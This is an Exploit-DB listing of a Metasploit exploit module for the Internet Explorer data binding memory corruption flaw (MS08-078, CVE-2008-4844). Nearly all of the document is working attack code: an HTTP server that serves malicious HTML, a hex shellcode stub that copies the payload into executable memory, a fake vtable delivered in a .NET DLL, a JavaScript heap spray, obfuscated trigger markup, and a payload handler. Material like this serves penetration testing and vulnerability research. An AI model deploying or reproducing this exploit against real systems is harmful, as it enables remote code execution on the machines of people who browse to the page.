标题: Microsoft Internet Explorer - Data Binding Memory Corruption (MS08-078) (Metasploit) EDB-ID: 16583 CVE: 2008-4844 类型: REMOTE 平台: WINDOWS 发布日期: 2010-09-20 漏洞利用脚本: ##
# $Id: ms08_078_xml_corruption.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML
 #
 # Superceded by ms10_018_ie_behaviors, disable for BrowserAutopwn
 #
 #include Msf::Exploit::Remote::BrowserAutopwn
 #autopwn_info({
 # :ua_name    => HttpClients::IE,
 # :ua_minver  => "7.0",
 # :ua_maxver  => "7.0",
 # :javascript => true,
 # :os_name    => OperatingSystems::WINDOWS,
 # :vuln_test  => nil, # no way to test without just trying it
 #})

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Internet Explorer Data Binding Memory Corruption',
   'Description'    => %q{
    This module exploits a vulnerability in the data binding feature of Internet
   Explorer. In order to execute code reliably, this module uses the .NET DLL
   memory technique pioneered by Alexander Sotirov and Mark Dowd. This method is
   used to create a fake vtable at a known location with all methods pointing
   to our payload. Since the .text segment of the .NET DLL is non-writable, a
   prefixed code stub is used to copy the payload into a new memory segment and
   continue execution from there.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'hdm'
    ],
   'Version'        => '$Revision: 10394 $',
   'References'     =>
    [
     ['CVE', '2008-4844'],
     ['OSVDB', '50622'],
     ['BID', '32721'],
     ['MSB', 'MS08-078'],
     ['URL', 'http://www.microsoft.com/technet/security/advisory/961051.mspx'],
     ['URL', 'http://taossa.com/archive/bh08sotirovdowd.pdf'],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'    => 1000,
     'BadChars' => "\x00",
     'Compat'   =>
      {
       'ConnectionType' => '-find',
      },
     'StackAdjustment' => -3500,

     # Temporary stub virtualalloc() + memcpy() payload to RWX page
     'PrependEncoder' =>
      "\xe8\x56\x00\x00\x00\x53\x55\x56\x57\x8b\x6c\x24\x18\x8b\x45\x3c"+
      "\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x32"+
      "\x49\x8b\x34\x8b\x01\xee\x31\xff\xfc\x31\xc0\xac\x38\xe0\x74\x07"+
      "\xc1\xcf\x0d\x01\xc7\xeb\xf2\x3b\x7c\x24\x14\x75\xe1\x8b\x5a\x24"+
      "\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8"+
      "\xeb\x02\x31\xc0\x5f\x5e\x5d\x5b\xc2\x08\x00\x5e\x6a\x30\x59\x64"+
      "\x8b\x19\x8b\x5b\x0c\x8b\x5b\x1c\x8b\x1b\x8b\x5b\x08\x53\x68\x54"+
      "\xca\xaf\x91\xff\xd6\x6a\x40\x5e\x56\xc1\xe6\x06\x56\xc1\xe6\x08"+
      "\x56\x6a\x00\xff\xd0\x89\xc3\xeb\x0d\x5e\x89\xdf\xb9\xe8\x03\x00"+
      "\x00\xfc\xf3\xa4\xff\xe3\xe8\xee\xff\xff\xff"
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Automatic', { }],
    ],
   'DisclosureDate' => 'Dec 07 2008',
   'DefaultTarget'  => 0))
 end

 def on_request_uri(cli, request)
  @state ||= {}

  ibase = 0x13370000
  vaddr = ibase + 0x2065

  uri,token = request.uri.split('?', 2)


  if(token)
   token,trash = token.split('=')
  end

  if !(token and @state[token])

   print_status("Sending #{self.name} init HTML to #{cli.peerhost}:#{cli.peerport}...")
   token = rand_text_numeric(32)
   if ("/" == get_resource[-1,1])
    dll_uri = get_resource[0, get_resource.length - 1]
   else
    dll_uri = get_resource
   end
   dll_uri << "/generic-" + Time.now.to_i.to_s + ".dll"

   html  = %Q|<html>
<head>
<script language="javascript">
 function forward() {
  window.location = window.location + '?#{token}';
 }

 function start() {
  setTimeout("forward()", 2000);
 }
</script>
</head>
<body onload="start()">
 <object classid="#{dll_uri}?#{token}#GenericControl">
 <object>
</body>
</html>
  |
   @state[token] = :start
   # Transmit the compressed response to the client
   send_response(cli, html, { 'Content-Type' => 'text/html' })
   return
  end

  if (uri.match(/\.dll/i))

   print_status("Sending DLL to #{cli.peerhost}:#{cli.peerport}...")

   return if ((p = regenerate_payload(cli)) == nil)

   # First entry points to the table of pointers
   vtable  = [ vaddr + 4 ].pack("V")
   cbase   = ibase + 0x2065 + (256 * 4)

   # Build a function table
   255.times { vtable << [cbase].pack("V") }

   # Append the shellcode
   vtable << p.encoded
   send_response(
    cli,
    Msf::Util::EXE.to_dotnetmem(ibase, vtable),
    {
     'Content-Type' => 'application/x-msdownload',
     'Connection'   => 'close',
     'Pragma'       => 'no-cache'
    }
   )
   @state[token] = :dll
   return
  end



  print_status("Sending exploit HTML to #{cli.peerhost}:#{cli.peerport} token=#{@state[token]}...")

  html = ""


  #
  # .NET DLL MODE
  #
  if(@state[token] == :dll)

   addr_a,addr_b = [vaddr].pack("V").unpack("v*").map{|v| "&##{v};" }
   data = "==gPOFEUT9CPK4DVYVEV9MVQUFUTS9kRBRVQEByQ9QETGFEVBREIJNSPDJ1UBRVQEBiTBB1U8ogPM1EVI1zUBRVQNJ1TGFEVBREID1DRMZUQUFERgk0I9MkUTFEVBREIOFEUTxjC+QFWFRVPTFEVB1kUPZUQUFERgMUPExkRBRVQEBSSj0zQSNVQUFERg4UQQNFPK4DTNRFS9MVQUFUTS9kRBRVQEByQ9QETGFEVBREIJNSPDJ1UBRVQEBiTBB1U8ogPM1EWvwjPJ1DRJBCTNhFPK4DTNRFS9MVQUFUTS9kRBRVQEByQ9QETGFEVBREIJNSPDJ1UBRVQEBiVJREP".reverse.unpack("m*")[0]
   bxml = Rex::Text.to_hex(%Q|
<XML ID=I>
 <X>
  <C>
   <![CDATA[
    <image
     SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X
     SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X
     SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X
     SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X
     SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X
     SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X
     SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X
     SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X
     SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X
     SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X
     SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X
    >
   ]]>
  </C>
 </X>
</XML>

#{data}

<script>
 setTimeout('window.location.reload(true);', 250);
</script>
  |, '%')

  var_unescape  = rand_text_alpha(rand(100) + 1)
  var_start     = rand_text_alpha(rand(100) + 1)

  html = %Q|<html>
<head>
<script>
 function #{var_start}() {
  var #{var_unescape} = unescape;
  document.write(#{var_unescape}('#{bxml}'));
 }
</script>
</head>
<body onload="#{var_start}()">
</body>
</html>
  |

  #
  # HEAP SPRAY MODE
  #
  else
   print_status("Heap spray mode")

   addr_a,addr_b = [0x0c0c0c0c].pack("V").unpack("v*").map{|v| "&##{v};" }
   data = "==gPOFEUT9CPK4DVYVEV9MVQUFUTS9kRBRVQEByQ9QETGFEVBREIJNSPDJ1UBRVQEBiTBB1U8ogPM1EVI1zUBRVQNJ1TGFEVBREID1DRMZUQUFERgk0I9MkUTFEVBREIOFEUTxjC+QFWFRVPTFEVB1kUPZUQUFERgMUPExkRBRVQEBSSj0zQSNVQUFERg4UQQNFPK4DTNRFS9MVQUFUTS9kRBRVQEByQ9QETGFEVBREIJNSPDJ1UBRVQEBiTBB1U8ogPM1EWvwjPJ1DRJBCTNhFPK4DTNRFS9MVQUFUTS9kRBRVQEByQ9QETGFEVBREIJNSPDJ1UBRVQEBiVJREP".reverse.unpack("m*")[0]
   bxml = Rex::Text.to_hex(%Q|
<XML ID=I>
 <X>
  <C>
   <![CDATA[
    <image
     SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X
     SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X
    >
   ]]>
  </C>
 </X>
</XML>

#{data}

<script>
 setTimeout('window.location.reload(true);', 1000);
</script>
  |, '%')

  var_memory    = rand_text_alpha(rand(100) + 1)
  var_boom      = rand_text_alpha(rand(100) + 1)
  var_body      = rand_text_alpha(rand(100) + 1)
  var_unescape  = rand_text_alpha(rand(100) + 1)
  var_shellcode = rand_text_alpha(rand(100) + 1)
  var_spray     = rand_text_alpha(rand(100) + 1)
  var_start     = rand_text_alpha(rand(100) + 1)
  var_i         = rand_text_alpha(rand(100) + 1)

  rand_html     = rand_text_english(rand(400) + 500)

  html = %Q|<html>
<head>
<script>
 var #{var_memory} = new Array();
 var #{var_unescape} = unescape;


 function #{var_boom}() {
  document.getElementById('#{var_body}').innerHTML = #{var_unescape}('#{bxml}');
 }

 function #{var_start}() {

  var #{var_shellcode} = #{var_unescape}( '#{Rex::Text.to_unescape(regenerate_payload(cli).encoded)}');

  var #{var_spray} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );

  do { #{var_spray} += #{var_spray} } while( #{var_spray}.length < 0xd0000 );

  for(#{var_i} = 0; #{var_i} < 100; #{var_i}++) #{var_memory}[#{var_i}] = #{var_spray} + #{var_shellcode};

  setTimeout('#{var_boom}()', 1000);
 }
</script>
</head>
<body onload="#{var_start}()" id="#{var_body}">
#{rand_html}
</body>
</html>
  |
  end

  # Transmit the compressed response to the client
  send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache' })

  # Handle the payload
  handler(cli)
 end
end URL: https://www.exploit-db.com/exploits/16583